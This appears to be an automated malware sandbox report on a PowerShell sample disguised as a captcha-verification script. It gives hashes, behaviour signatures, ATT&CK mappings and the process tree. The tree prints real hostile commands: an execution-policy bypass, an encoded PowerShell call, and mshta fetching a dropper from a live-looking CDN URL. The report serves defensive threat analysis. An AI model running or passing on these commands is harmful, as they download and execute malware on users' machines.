b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1

Analysis

max time kernel
150s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
08/08/2024, 18:30

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General

Target
verify-captcha-987.b-cdn.net.ps1
Size 147B
Sample240808-w5sk1a1cmd
SHA256 b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1
MD5 461d549b45e71d09f616ea14cf0f46d2
SHA1 eb06f635e30520fd8e764a3c6fc1216c798400c7
SHA512 ea3dc372f83d76964b01a0437febaef0b725267af8a2e72d55995e301ed5fea02d1792900e4ef7dee5068f2e41d96f7cdb12ed6932fff8637562e64fddb93b4f
MD5 SHA1 SHA512

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://microsoftcamp-c3.b-cdn.net/camp-v1

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	3592	mshta.exe
5	3592	mshta.exe
6	3592	mshta.exe
7	3592	mshta.exe
8	3592	mshta.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5776	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5776	powershell.exe
5776	powershell.exe
5568	powershell.exe
5568	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5776	powershell.exe
Token: SeDebugPrivilege	5568	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5776 wrote to memory of 5568	5776	powershell.exe	82
PID 5776 wrote to memory of 5568	5776	powershell.exe	82
PID 5568 wrote to memory of 3592	5568	powershell.exe	83
PID 5568 wrote to memory of 3592	5568	powershell.exe	83

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\verify-captcha-987.b-cdn.net.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AaQBjAHIAbwBzAG8AZgB0AGMAYQBtAHAALQBjADMALgBiAC0AYwBkAG4ALgBuAGUAdAAvAGMAYQBtAHAALQB2ADEA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5568
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://microsoftcamp-c3.b-cdn.net/camp-v1
    3⤵
    - Blocklisted process makes network request
    PID:3592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 5c29cb3608bfc5634cdbfff7ed20ed59e2b9090688d2357e67c872b67c84f350
MD5 a51f20ae34f37280fda519f9d38f3ece
SHA1 467d422f1516dd0ee9590fa0a8847a6a8705378d
SHA512 2bdb192198ce7d68c28b31735dd69491880f171b85973551c70cb49d7c78648b02942b9a03611a5bcef0e4010977b6eb54cd64474f68668a13b9ba959a6a2e2d
MD5 SHA1 SHA512

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__PSScriptPolicyTest_bqjdn4zb.o3e.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bqjdn4zb.o3e.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/5568-26-0x00007FFA4AA70000-0x00007FFA4B532000-memory.dmp

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memory/5568-12-0x00007FFA4AA70000-0x00007FFA4B532000-memory.dmp

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memory/5568-21-0x00007FFA4AA70000-0x00007FFA4B532000-memory.dmp

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memory/5568-23-0x00007FFA4AA70000-0x00007FFA4B532000-memory.dmp

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memory/5776-11-0x00007FFA4AA70000-0x00007FFA4B532000-memory.dmp

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memory/5776-22-0x00007FFA4AA70000-0x00007FFA4B532000-memory.dmp

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memory/5776-0-0x00007FFA4AA73000-0x00007FFA4AA75000-memory.dmp

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memory/5776-10-0x00007FFA4AA70000-0x00007FFA4B532000-memory.dmp

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memory/5776-9-0x000002B9C0D70000-0x000002B9C0D92000-memory.dmp

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memory/5776-31-0x00007FFA4AA70000-0x00007FFA4B532000-memory.dmp

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